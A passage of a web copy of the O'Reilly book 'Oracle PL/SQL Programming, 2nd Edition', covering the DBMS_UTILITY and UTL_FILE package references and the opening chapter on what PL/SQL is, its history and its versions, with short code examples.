    FUNCTION DBMS_TRANSACTION.STEP_ID RETURN VARCHAR2;

Previous: C.14 DBMS_SQL | Oracle PL/SQL Programming, 2nd Edition | Next: C.16 DBMS_UTILITY
C.14 DBMS_SQL | Book Index | C.16 DBMS_UTILITY
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.16 DBMS_UTILITY

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.16 DBMS_UTILITY

The DBMS_UTILITY package includes several utility modules you might find useful when managing objects in the database.

C.16.1 The ANALYZE_SCHEMA procedure

This procedure analyzes all the tables, clusters, and indexes in the specified schema. The specification is:

PROCEDURE DBMS_UTILITY.ANALYZE_SCHEMA
   (schema VARCHAR2,
    method VARCHAR2,
    estimate_rows NUMBER DEFAULT NULL,
    estimate_percent NUMBER DEFAULT NULL);

C.16.2 The COMMA_TO_TABLE procedure

The COMMA_TO_TABLE procedure parses a comma-delimited list and places each name into a PL/SQL table. The specification is:

PROCEDURE DBMS_UTILITY.COMMA_TO_TABLE
   (list IN VARCHAR2,
    tablen OUT BINARY_INTEGER,
    tab OUT uncl_array);

C.16.3 The COMPILE_SCHEMA procedure

This procedure compiles all procedures, functions, and packages in the specified schema. The specification is:

PROCEDURE DBMS_UTILITY.COMPILE_SCHEMA (schema VARCHAR2);

C.16.4 The FORMAT_CALL_STACK function

This function formats and returns the current call stack. You can use this function to access the call stack in your program. The specification is:

FUNCTION DBMS_UTILITY.FORMAT_CALL_STACK RETURN VARCHAR2;

C.16.5 The FORMAT_ERROR_STACK function

This function formats and returns the current error stack. You might use this in an exception handler to examine the sequence of errors raised. The specification is:

FUNCTION DBMS_UTILITY.FORMAT_ERROR_STACK RETURN VARCHAR2;

C.16.6 The GET_TIME function

This function returns the number of 100ths of seconds which have elapsed from an arbitrary time. Without GET_TIME, Oracle functions can only record and provide elapsed time in second intervals, which is a very coarse granularity in today's world of computing. With GET_TIME, you can get a much finer understanding of the processing times of lines in your program. The specification is:

FUNCTION DBMS_UTILITY.GET_TIME RETURN NUMBER;

C.16.7 The IS_PARALLEL_SERVER function

This function helps determine if the database is running in Parallel Server mode. The specification is:

FUNCTION DBMS_UTILITY.IS_PARALLEL_SERVER RETURN BOOLEAN;

The function returns TRUE if the database is running in Parallel Server mode; otherwise it returns FALSE.

C.16.8 The NAME_RESOLVE procedure

This procedure resolves the name of an object into its component parts, performing synonym translations as necessary. The specification is:

PROCEDURE DBMS_UTILITY.NAME_RESOLVE
   (name IN VARCHAR2,
    context IN NUMBER,
    schema OUT VARCHAR2,
    part1 OUT VARCHAR2,
    part2 OUT VARCHAR2,
    dblink OUT VARCHAR2,
    part1_type OUT NUMBER,
    object_number OUT NUMBER);

C.16.9 The NAME_TOKENIZE procedure

The NAME_TOKENIZE procedure calls the PL/SQL parser to parse the given name that is in the following format:

a [ . b [. c]] [@dblink ]

where dblink is the name of a database link. NAME_TOKENIZE follows these rules:

  • Strips off all double quotes

  • Converts to uppercase if there are no quotes

  • Ignores any inline comments

  • Does no semantic analysis

  • Leaves any missing values as NULL

The specification is:

PROCEDURE DBMS_UTILITY.NAME_TOKENIZE
   (name  IN VARCHAR2,
    a OUT VARCHAR2,
    b OUT VARCHAR2,
    c OUT VARCHAR2,
    dblink OUT VARCHAR2,
    nextpos OUT BINARY_INTEGER);

C.16.10 The PORT_STRING function

The PORT_STRING function returns a string that uniquely identifies the version of Oracle Server and the platform or operating system of the current database instance. The specification is:

FUNCTION DBMS_UTILITY.PORT_STRING RETURN VARCHAR2;

C.16.11 The TABLE_TO_COMMA procedure

The TABLE_TO_COMMA procedure converts a PL/SQL table into a comma-delimited list. The specification is:

PROCEDURE DBMS_UTILITY.TABLE_TO_COMMA
   (tab IN uncl_array,
   tablen OUT BINARY_INTEGER,
   list OUT VARCHAR2);

Previous: C.15 DBMS_TRANSACTION | Oracle PL/SQL Programming, 2nd Edition | Next: C.17 UTL_FILE
C.15 DBMS_TRANSACTION | Book Index | C.17 UTL_FILE
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.17 UTL_FILE

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.17 UTL_FILE

The UTL_FILE package allows your PL/SQL programs to both read from and write to operating system files. You can call UTL_FILE from within programs stored in the database server or from within client-side application modules, such as those built with Oracle Forms. You can, therefore, interact with operating system files both on the local workstation (client) and on the server disks.

C.17.1 Setting Up UTL_FILE

Before you can read and write operating system files on the server, you must make changes to the INIT.ORA initialization file of your database instance (this is generally a DBA task). Specifically, you must add one or more entries for the utl_file_dir parameter. Each line must have this format:

utl_file_dir = <directory>

where <directory> is either a specific directory or a single asterisk. If your entry has this format:

utl_file_dir = *

then you will be able to read from and write to any directory accessible from your server machine. If you want to enable file I/O for a restricted set of directories, provide separate entries in the INIT.ORA file as shown below:

utl_file_dir = /tmp/trace
utl_file_dir = /user/dev/george/files

The Oracle user must then have operating system privileges on a directory in order to write to it or read from it. Finally, any files created through UTL_FILE will have the default privileges taken from the Oracle user.

C.17.1.1 The FCLOSE procedure

Use FCLOSE to close an open file. The specification is:

PROCEDURE UTL_FILE.FCLOSE (file_in UTL_FILE.FILE_TYPE);

C.17.1.2 The FCLOSE_ALL procedure

FCLOSE_ALL closes all of the opened files. The specification is:

PROCEDURE UTL_FILE.FCLOSE_ALL;

C.17.1.3 The FFLUSH procedure

The FFLUSH procedure flushes the contents of the UTL_FILE buffer out to the specified file. You will want to use FFLUSH to make sure that any buffered messages are written to the file and therefore available for reading. The specification is:

PROCEDURE UTL_FILE.FFLUSH (file IN FILE_TYPE);

C.17.1.4 The FOPEN function

The FOPEN function opens the specified file and returns a file handle that you can then use to manipulate the file. The specification is:

FUNCTION UTL_FILE.FOPEN
   (location_in IN VARCHAR2,
    file_name_in IN VARCHAR2,
    file_mode_in IN VARCHAR2)
RETURN UTL_FILE.FILE_TYPE;

C.17.1.5 The GET_LINE procedure

The GET_LINE procedure reads a line of data from the specified file, if it is open, into the provided line buffer. The specification is:

PROCEDURE UTL_FILE.GET_LINE
   (file_in IN UTL_FILE.FILE_TYPE,
    line_out OUT VARCHAR2);

C.17.1.6 The IS_OPEN function

The IS_OPEN function returns TRUE if the specified handle points to a file that is already open. Otherwise it returns false. The specification is:

FUNCTION UTL_FILE.IS_OPEN
   (file_in IN UTL_FILE.FILE_TYPE)
RETURN BOOLEAN;

C.17.1.7 The NEW_LINE procedure

The NEW_LINE procedure inserts one or more newline characters in the specified file. The specification is:

PROCEDURE UTL_FILE.NEW_LINE
   (file_in IN UTL_FILE.FILE_TYPE,
    num_lines_in IN PLS_INTEGER := 1);

C.17.1.8 The PUT procedure

The PUT procedure puts data out to the specified file. The PUT procedure is heavily overloaded so that you can easily call PUT with a number of different combinations of arguments. The specifications are:

PROCEDURE UTL_FILE.PUT
   (file_in UTL_FILE.FILE_TYPE,
    item_in IN VARCHAR2);

PROCEDURE UTL_FILE.PUT (item_in IN VARCHAR2);

PROCEDURE UTL_FILE.PUT
   (file_in UTL_FILE.FILE_TYPE,
    item_in IN DATE);

PROCEDURE UTL_FILE.PUT (item_in IN DATE);

PROCEDURE UTL_FILE.PUT
   (file_in UTL_FILE.FILE_TYPE,
    item_in IN NUMBER);

PROCEDURE UTL_FILE.PUT (item_in IN NUMBER);

PROCEDURE UTL_FILE.PUT
   (file_in UTL_FILE.FILE_TYPE,
    item_in IN PLS_INTEGER);

PROCEDURE UTL_FILE.PUT (item_in IN PLS_INTEGER);

C.17.1.9 The PUTF procedure

Like PUT, PUTF puts data into a file, but it uses a message format (hence, the "F" in "PUTF") to interpret the different elements to be placed in the file. You can pass between one and five different items of data to PUTF. The specification is:

PROCEDURE UTL_FILE.PUTF
   (file_in UTL_FILE.FILE_TYPE,
    format_in IN VARCHAR2,
    item1_in IN VARCHAR2
    [, item2_in IN VARCHAR2 ... item5_in IN VARCHAR2]);

C.17.1.10 The PUT_LINE procedure

The third variation of the PUT feature in UTL_FILE is PUT_LINE. This procedure writes data to a file and then immediately appends a newline character after the text. The specification is:

PROCEDURE UTL_FILE.PUT_LINE
(file_in UTL_FILE.FILE_TYPE,

item_in IN VARCHAR2);

Previous: C.16 DBMS_UTILITY | Oracle PL/SQL Programming, 2nd Edition
C.16 DBMS_UTILITY | Book Index
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] Introduction to PL/SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: I. Programming in PL/SQL Chapter 1 Next: 1.2 The Concept of Programming in Oracle Applications

1. Introduction to PL/SQL

Contents:
What Is PL/SQL?
The Concept of Programming in Oracle Applications
The Origins of PL/SQL
PL/SQL Versions
Advice for Oracle Programmers
A Few of My Favorite (PL/SQL) Things
Best Practices for PL/SQL Excellence

This chapter introduces PL/SQL, its origins, and its various versions. It also introduces you to what it means to be a PL/SQL programmer, and how PL/SQL programming differs from the kind of programming with which you may be familiar.

1.1 What Is PL/SQL?

PL/SQL stands for "Procedural Language extensions to SQL." PL/SQL is available primarily as an "enabling technology" within other software products; it does not exist as a standalone language. You can use PL/SQL in the Oracle relational database, in the Oracle Server, and in client-side application development tools, such as Oracle Forms. PL/SQL is closely integrated into the SQL language, yet it adds programming constructs that are not native to this standard relational database language. As you can see from the following code example, PL/SQL allows you to combine SQL statements with "standard" procedural constructs. This single program can either insert a company into or delete a company from the database. It relies on the IF statement (not a SQL statement) to determine which action to take:

PROCEDURE maintain_company
   (action_in IN VARCHAR2,
    id_in IN NUMBER,
    name_in IN VARCHAR2 := NULL)
IS
BEGIN
   IF action_in = 'DELETE'
   THEN
      DELETE FROM company WHERE company_id = id_in;

   ELSIF action_in = 'INSERT'
   THEN
      INSERT INTO company (company_id, name)
      VALUES (id_in, name_in);
   END IF;
END;

PL/SQL is an unusual -- and an unusually powerful -- programming language. You can write programs that look just like traditional 3GL modules, but you can also include calls to SQL statements, manipulate data through cursors, and take advantage of some of the newest developments in programming languages. PL/SQL supports packages which allow you to perform object-oriented design. PL/SQL provides a powerful mechanism for trapping and, with exception handlers, resolving errors. The tight integration of PL/SQL with SQL provides developers with the best of both worlds -- declarative and procedural logic.

Figure 1.1 shows how PL/SQL fits within the client-server architecture of Oracle-based applications. It shows both an Oracle Forms client and a non-Oracle tool client, both executing against an Oracle Server database. Notice that the Oracle Forms client makes use of two versions of PL/SQL:

  • PL/SQL Release 1.1: a client-side PL/SQL engine that allows the application to execute local PL/SQL programs

  • PL/SQL Release 2.X: the server-based PL/SQL engine that executes stored programs

The third-party tool executes calls to stored programs, which are then run on the server.

Figure 1.1: PL/SQL within the Oracle client-server architecture

Because PL/SQL is used both in the database (for stored procedures and database triggers) and in the application code (to implement logic within a form, for example), you can leverage the same programming language for both client-side and server-side development. You can even move programs from one component of the configuration to another.[1] For example, you might decide that a function which was originally coded for a single screen could be shared by all of the modules in an application. To make this happen, you simply move that function from the client-side screen component to the server-side database environment. You have to change neither the PL/SQL code nor any of the programs that call that function.

[1] As long as there are no conflicts between different versions of PL/SQL.

Of course, as an underlying technology in the Oracle constellation of products, PL/SQL is just one element of the total programming experience. In fact, building an Oracle-based application requires a combination of technology and techniques, as you'll see in the next section.

Previous: I. Programming in PL/SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 1.2 The Concept of Programming in Oracle Applications
I. Programming in PL/SQL | Book Index | 1.2 The Concept of Programming in Oracle Applications
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.2 The Concept of Programming in Oracle Applications

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

1.2 The Concept of Programming in Oracle Applications

The whole idea of "programming" in Oracle-based applications has a somewhat different meaning from what you might be used to in a third-generation, or even a wholly procedural fourth-generation, language.

Programming in Oracle generally entails a blending of technologies and programming styles. Suppose, for example, that you are building an application to maintain invoice information. You will first design and create a database, relying mostly on the declarative SQL language. However, you might also create database triggers, coded in PL/SQL, to implement complex business rules at the database level. From there you build the screens, charts, and reports that make up the user interface. You could use third-party tools, or you could rely on Oracle Developer/2000 (formerly the Cooperative Development Environment, or CDE), with such products as Oracle Forms, Oracle Graphics, and Oracle Reports.

Each of the Oracle Developer/2000 tools employs a nondeclarative or "fill-in-the-blanks" approach to development. Without writing any code in the traditional sense, you create a full-functioned screen with buttons, radio groups, menus, and pictures. These objects are, more or less, the graphical pieces of the program that the user views, touches, and acts upon. They are somewhat different in each tool. In Oracle Forms, these objects include items on the screen (buttons, radio groups, text fields), blocks (which correspond to tables in the database), and visual attributes (which control the way items appear to the user). In Oracle Reports, these objects include fields in the report, repeating frames of data, and parameters that are entered by the user to initiate the report. While there isn't any code per se for this part of your system, you have created objects that will be manipulated by the code you do write in PL/SQL.

Once you have built the graphical objects in your tools, you then associate PL/SQL procedural code with those objects. How? You use various kinds of triggers associated with those objects. Oracle Forms, for example, employs a sophisticated event-driven model, which is very conducive to programming in the GUI environment. You attach event triggers, such as When-Button-Pressed, to an object. Then, no matter how the user triggers an event (with the movement of a mouse, with the press of a key, or as an indirect result of another event), that trigger fires and executes the PL/SQL code you have written. The only way to apply a PL/SQL procedure or function to an object in Oracle Forms is through a trigger. All triggers are implemented in PL/SQL.

Conceptually, there are at least five layers of "code" in an Oracle Forms application, as Table 1.1 shows. Each of these different kinds of code requires a different approach to programming.

Table 1.1: Layers of Code in an Oracle Forms Application
Code Level | Role of Code in Application
Graphical objects | Accessed directly by the user. (You can, of course, create objects which are "view only.")
Event triggers | Triggered by user activity; triggers are usually attached to events associated with a specific graphical object
Form-based PL/SQL | Executed by a trigger; implements nondeclarative, non-default functions in an application
RDBMS-based PL/SQL | Stored procedures and database triggers executed in response to actions initiated in the form
SQL | The data definition and data manipulation statements used to create and maintain the data in the Oracle Server

You may find the blend of technologies and programming environments that make up Oracle-based applications to be a challenge. If you are an experienced programmer, you might have worked for years in a 100% procedural language environment like COBOL. There, you've learned methodologies for designing and building your code. If you are asked to review a program, you can display those lines of text on a screen and do your analysis. In Oracle, you cannot.

If you are new to computer programming, the situation can be even worse. Introduced to powerful new technologies without any formal grounding in development, you may find yourself churning out screen after screen, report upon report, with little regard for code reusability, quality assurance, and development methodologies. And why should you? No one ever told you these issues were important. Instead, you received a week of training and were expected to move immediately to "rapid application development."

How can you apply your knowledge and experience to the world of Oracle? No matter where you came from, you will need to reconcile the different kinds of code and programming techniques. In this book we will try to help you do that.

Previous: 1.1 What Is PL/SQL? | Oracle PL/SQL Programming, 2nd Edition | Next: 1.3 The Origins of PL/SQL
1.1 What Is PL/SQL? | Book Index | 1.3 The Origins of PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.3 The Origins of PL/SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

1.3 The Origins of PL/SQL

Oracle has a history of leading the software industry in providing declarative, nonprocedural approaches to designing both databases and applications. The Oracle Server technology is among the most advanced, powerful, and stable relational databases in the world. Its application development tools, such as Oracle Forms, offer high levels of productivity, precisely by relying heavily on a "paint-your-screen" approach in which extensive default capabilities allow developers to avoid heavy customized programming efforts.

In Oracle's early years, this declarative approach, combined with its groundbreaking relational technology, was enough to satisfy developers. But as the industry matured, expectations and requirements became more demanding. Developers needed to get under the skin of the products. They needed to build complicated formulas, exceptions, and rules into their forms and database procedures.

In 1991, Oracle Corporation released Oracle Version 6.0, a major advance in its relational database technology. A key component of Oracle Version 6.0 was the so-called "procedural option" or PL/SQL. At roughly the same time, Oracle released its long-awaited upgrade to SQL*Forms Version 2.3. SQL*Forms V3.0 incorporated the PL/SQL engine for the first time on the tool side, allowing developers to code their procedural logic in a natural, straightforward manner.

This first release of PL/SQL was very limited in its capabilities. On the server side, you could use PL/SQL only to build "batch-processing" scripts of procedural and SQL statements. In other words, you could not store procedures or functions for execution at some later time. You could not construct a modular application or store complex business rules in the server. On the client side, SQL*Forms V3.0 did allow you to create procedures and functions, though support for functions was not documented and therefore not used by many developers for years. In addition, this release of PL/SQL did not implement array support and could not interact with the operating system (for input or output). It was a far cry from a full-fledged programming language.

For all its limitations, PL/SQL was warmly, even enthusiastically, received in the developer community. The hunger for the ability to code a simple IF statement inside SQL*Forms was strong. The need to perform multi-SQL statement batch processing was overwhelming.

What few developers realized at the time was that the original motivation and driving vision behind PL/SQL extended beyond the desire to offer programmatic control within products like SQL*Forms. Very early in the life cycle of Oracle's database and tools, Oracle Corporation had recognized two key weaknesses in their architecture: lack of portability and problems with execution authority.

1.3.1 Improved Application Portability with PL/SQL

The concern about portability might seem odd to those of us familiar with Oracle Corporation's marketing and technical strategies. One of the hallmarks of the Oracle solution from the early 1980s was its portability. At the time that PL/SQL came along, the C-based RDBMS ran on many different operating systems and hardware platforms. SQL*Plus and SQL*Forms adapted easily to a variety of terminal configurations. Yet for all that coverage, there were still many applications which needed the more sophisticated and granular control offered by host languages like COBOL, C, and FORTRAN. As soon as a developer stepped outside of the port-neutral Oracle tools, the resulting application would no longer be portable.

The PL/SQL language was (and is) intended to widen the range of application requirements which can be handled entirely in operating-system independent programming tools.

1.3.2 Improved Execution Authority and Transaction Integrity with PL/SQL

Even more fundamental an issue than portability was that of execution authority. The RDBMS and SQL language give you the capability to tightly control access to, and changes in, any particular table. For example, with the GRANT command you can make sure that only certain roles and users have the ability to perform an UPDATE on a given table. On the other hand, this GRANT statement can't ensure that the full set of UPDATEs performed by a user or application is done correctly. In other words, the database can't guarantee the integrity of a transaction that spans more than one table.

Let's look at an example. In a typical banking transaction, you might need to transfer funds from account A to account B. The balance of account B must be incremented, and that of account A decremented. Table access is necessary, but not sufficient, to guarantee that both of these steps are always performed by all programmers who write code to perform a transfer. Without stored objects, the best you can do is require extensive testing and code review to make sure that all transactions are properly constructed. With stored objects, on the other hand, you can guarantee that a funds transfer either completes successfully or is completely rolled back -- regardless of who executes the process.

The secret to achieving this level of transaction integrity is the concept of execute authority (also known as run authority). Instead of granting to a role or user the authority to update a table, you grant privileges to only execute a procedure. This procedure controls and provides access to the underlying data structures. The procedure is owned by a separate Oracle RDBMS account, which, in turn, is granted the actual update privileges on those tables needed to perform the transaction. The procedure therefore becomes the "gatekeeper" for the transfer transaction. The only way a program (whether it's an Oracle Forms application or a Pro*C executable) can execute the transfer is through the procedure. The result is that transaction integrity is guaranteed.

The long-term objective of PL/SQL, realized with PL/SQL Version 2.0, was to provide a programming environment which would allow developers both to create reusable, callable modules and also to grant authority to those modules. Given Oracle Corporation's strategic technical investment in relational databases, it's only logical that these programs would reside in the database itself. This way, the same data dictionary that controls access to data could control access to the programs.

PL/SQL has come a long way from its humble beginnings. It is a rapidly maturing programming language that will play a prominent role in all future Oracle application development and database management efforts.

Previous: 1.2 The Concept of Programming in Oracle Applications | Oracle PL/SQL Programming, 2nd Edition | Next: 1.4 PL/SQL Versions
1.2 The Concept of Programming in Oracle Applications | Book Index | 1.4 PL/SQL Versions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.4 PL/SQL Versions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

1.4 PL/SQL Versions

One thing that may complicate using PL/SQL is that it is not a single product. There are several distinct, supported versions out there. Table 1.2 summarizes the various versions; the following sections describe the main features available in each of the versions in use today.

Table 1.2: PL/SQL Versions
Version/Release | Characteristics
Version 1.0 | First available in SQL*Plus as a batch-processing script. Oracle Version 6.0 was released at approximately the same time. PL/SQL was then implemented within SQL*Forms Version 3, the predecessor of Oracle Forms.
Release 1.1 | Available only in the Oracle Developer/2000 Release 1 tools. This upgrade supports client-side packages and allows client-side programs to execute stored code transparently.
Version 2.0 | Available with Release 7.0 (Oracle Server). Major upgrade to Version 1. Adds support for stored procedures, functions, packages, programmer-defined records, PL/SQL tables, and many package extensions, including DBMS_OUTPUT and DBMS_PIPE.
Release 2.1 | Available with Release 7.1 of the Oracle Server Version. Supports programmer-defined subtypes, enables the use of stored functions inside SQL statements, and offers dynamic SQL with the DBMS_SQL package. With Version 2.1, you can now execute SQL DDL statements from within PL/SQL programs.
Release 2.2 | Available with Release 7.2 of the Oracle Server Version. Implements a binary "wrapper" for PL/SQL programs to protect source code, supports cursor variables for embedded PL/SQL environments such as Pro*C, and makes available database-driven job scheduling with the DBMS_JOB package.
Release 2.3 | Available with Release 7.3 of the Oracle Server Version. Enhances functionality of PL/SQL tables, offers improved remote dependency management, adds file I/O capabilities to PL/SQL, and completes the implementation of cursor variables.
Version 8.0 | Available with Oracle8 Release 8.0. The drastic change in version number reflects Oracle's effort to synchronize version numbers across related products. PL/SQL8 is the version of PL/SQL which supports the many enhancements of Oracle8, including large objects (LOBs), object-oriented design and development, collections (VARRAYs and nested tables), and Oracle/AQ (the Oracle/Advanced Queueing facility).

1.4.1 Working with Multiple Versions of PL/SQL

All of the releases of PL/SQL Version 2 are linked directly to the release of the Oracle Server on which they run. PL/SQL Release 1.1 is available only with the Oracle Developer/2000 Release 1 tools. The presence of these different versions can make your life complicated. Consider the following scenarios:

  • You want to take full advantage of all the latest features of the Oracle software family, from the frontend tools to the backend RDBMS and stored procedures. You will therefore use PL/SQL Release 1.1 (until Oracle makes available the second version of its Oracle Developer/2000 toolset) to build client-side programs and will use PL/SQL Release 2.X through PL/SQL8 for your stored programs.

  • You develop applications in a distributed environment and support different versions of the Oracle Server on different platforms. If you need to build stored programs to run in each of these databases, you will need to work with more than one release of PL/SQL.

Given this complexity, you need to be aware of the differences between the releases, as well as restrictions on PL/SQL development in Release 1.1 of PL/SQL.

1.4.2 How This Book Handles Different Versions of PL/SQL

This book uses Version 2.0 of the PL/SQL language as the "base" version for purposes of presenting the technology. If you are using any of the more recent releases of the PL/SQL language (2.1, 2.2, 2.3, or 8.0), you will be able to take advantage of all the standard features of PL/SQL and, in addition, leverage the enhancements of that release. If you are using Release 1.1 of PL/SQL, you will not be able to use all the features of Versions 2.0 through Version 8.0.

The new Oracle8-related functionality (delivered in PL/SQL8) is covered primarily in Part 5, New PL/SQL8 Features. Additional coverage of PL/SQL8-specific features is provided in chapters which cover that area of technology. For example, Chapter 4, Variables and Program Data, introduces the new datatypes of PL/SQL8, including large objects (LOBs).

I will note explicitly throughout the book when a particular feature is available only in a specific PL/SQL version or release. If this book does not cover a particular feature, that is mentioned as well.

The following sections summarize the new features of each PL/SQL release, as well as the restrictions placed on the use of PL/SQL Release 1.1. Review these sections now so you can more easily identify and use them later in your programming efforts.

NOTE: If you are using the Oracle Developer/2000 suite of development tools, then you will be using PL/SQL Release 1.1 for all local PL/SQL programs. You may also run PL/SQL Version 2-based programs stored in the database from the Oracle Developer/2000 application. See the section below for those features of PL/SQL Version 2.0 that may be used in programs based on PL/SQL Release 1.1.1.

1.4.3 PL/SQL Version 2.0

PL/SQL Version 2.0 was first released with the Oracle Server and expanded significantly the ability of PL/SQL to support large-scale, complex, distributed application development efforts. With Version 2.0, you can modularize your programs into procedures, functions, and -- most importantly -- packages. You can store your modules in the database and call them from any Oracle session, on both the client and server sides of distributed applications.

The features of PL/SQL Version 2.0 are described in the following sections.

1.4.3.1 Integration with SQL

PL/SQL was originally designed to provide procedural extensions to the SQL language. From within PL/SQL you can execute any DML statement (SELECT, UPDATE, INSERT, and DELETE). You cannot, however, execute a DDL statement, such as CREATE TABLE. This capability is available only in later releases through the use of specially provided packages, such as DBMS_SQL.

This integration with SQL also means that from within the native PL/SQL language you can make full use of all SQL operators, predicates, and built-in functions. Outside a SQL statement you can call the TO_CHAR function to convert a date to a string and check to see if one string is LIKE another string (an operator usually found in the WHERE clause of a SQL statement).

In addition to DML statements, you can use SQL's transaction-oriented statements to commit and roll back transactions. You can also mark SAVEPOINTs and roll back to those intermediate phases in a transaction.

Because the SQL is called from within PL/SQL, you can make use of PL/SQL constructs in the SQL statement. The following example references the PL/SQL variable last_hire_date in the WHERE clause of a SELECT statement:

SELECT employee.last_name     -- Database column
  INTO new_hire_name          -- Local PL/SQL variable
  FROM employee               -- Name of table
 WHERE hire_date =            -- References column and PL/SQL variable
           last_hire_date;

With Version 2.0, PL/SQL also supports the syntax required to perform distributed SQL. The following update changes the data in a remote table by selecting information from a second remote table:

UPDATE employee@NEW_YORK
   SET salary = (SELECT MAX(salary)
                   FROM employee@TORONTO);

NEW_YORK and TORONTO are database links to employee tables in different database instances (presumably in those cities).

PL/SQL Version 2.0 also lets you include hints to the optimizer (structured as comments within the SQL statement, enclosed by the /* and */ delimiters) to modify the execution plan used by the optimizer.

1.4.3.2 Expanded set of datatypes for variables and constants

PL/SQL lets you declare local variables and constants and then use those identifiers in your PL/SQL program. You can declare the variables and constants to be a datatype known to the RDBMS, such as NUMBER or VARCHAR2. However, you can also make use of PL/SQL-specific data structures such as:

BOOLEAN

A true Boolean datatype whose value is TRUE, FALSE, or NULL.

BINARY_INTEGER

Similar to NUMBER, BINARY_INTEGER datatype represents values as signed binary numbers of virtually any size. Because signed binary is the internal format for numeric values, you can perform calculations with this datatype that do not require any conversions.

PL/SQL record

A record contains one or more fields and is similar to a row in a database table. You can assign values to variables and SELECT information from the database into these variables.

In addition to these datatypes, PL/SQL Version 2.0 has added ROWID, RAW, LONG RAW, and MLSLABEL (for Trusted Oracle). PL/SQL Version 2.0 also predefines a set of "subtypes," which applies constraints to an existing "base" subtype. These subtypes include NATURAL (all integers greater than zero, a subtype of BINARY_INTEGER), and REAL (a subtype of NUMBER).

1.4.3.3 Programmer-defined records

A record is a composite data structure, consisting of one or more fields or columns. A record in PL/SQL roughly corresponds to a row in a database table. With earlier versions of PL/SQL, you can create records using the %ROWTYPE attribute; however, these records can only reflect the structure of a table or cursor. With PL/SQL Version 2.0, you can create records with whatever structure you decide upon, completely independent of any particular table or cursor. A programmer-defined record may even have another record as a field in its record, thereby allowing nested records and the ability to represent real-world structures in your programs.

Here is an example of the definition of a record type, followed by a declaration of the actual record:

DECLARE
   /* Create a record to hold four quarters of sales data. */
   TYPE sales_quarters_rectype IS RECORD
      (q1_sales NUMBER,
       q2_sales NUMBER,
       q3_sales NUMBER,
       q4_sales NUMBER);
   /*
   || Create a record to hold sales information for a customer.
   || Notice the nested record.
   */
   TYPE customer_sales_rectype IS RECORD
      (customer_id NUMBER (5),
       customer_name customer.name%TYPE,
       total_sales NUMBER (15,2),
       sales_by_quarter sales_quarters_rectype);

   /* Create a record for use in the program of this record type. */
   customer_sales_rec customer_sales_rectype;
BEGIN

You can pass records as parameters and perform aggregate assignments with records -- that is, with a single assignment operation you can assign all the values of one record to another, compatible record.

1.4.3.4 PL/SQL tables

One of the first questions I ever heard posed about PL/SQL Version 1.1 was, "Where are the arrays?" Programmers who coded in the nonprocedural interface of SQL*Forms, after spending a decade with languages like FORTRAN and C, got all excited when they heard about PL/SQL: they thought they'd get all the good stuff they had in their 3GL environments -- particularly arrays. Imagine the shock and disappointment when PL/SQL not only lacked the ability to read and write disk files, but also did not support arrays!

The designers of the PL/SQL language recognized the need to manipulate data in array-like structures in memory, but they also wanted to make sure to maintain PL/SQL's nature as an extension to SQL. The result is the PL/SQL table, available with Version 2.0.

The PL/SQL table is a memory-resident object that gives you array-like access to rows of information. It is similar to, but not the same as, a database table. Currently, a PL/SQL table may contain only one column (with the datatype of your choice) and one primary key (with a mandatory datatype of BINARY_INTEGER). The following declaration section contains the definition of a table type, followed by the declaration of a table, that can be used in a program:

DECLARE
   /* Table of strings to hold company names. */
   TYPE company_names_tabtype IS TABLE OF
      VARCHAR2(100) INDEX BY BINARY_INTEGER;

   /* Declaration of actual table to be used in code. */
   company_names company_names_tabtype;
BEGIN

PL/SQL tables can be passed as parameters in modules. Unlike arrays found in 3GL programs, PL/SQL tables are unconstrained and sparse. Unconstrained means that, as with database tables, you do not have to decide the size of a PL/SQL table in advance. Sparse means that the only rows defined in memory are those you create with an assignment to that row.

1.4.3.5 Built-in functions

PL/SQL Version 2.0 supports a wide range of built-in functions to manipulate data in your programs. These built-ins may be categorized as follows:

Character functions

Functions that analyze and modify the contents of CHAR and VARCHAR2 string variables

Date functions

Utilities that allow programmers to perform high-level actions on date variables, including date arithmetic

Numeric functions

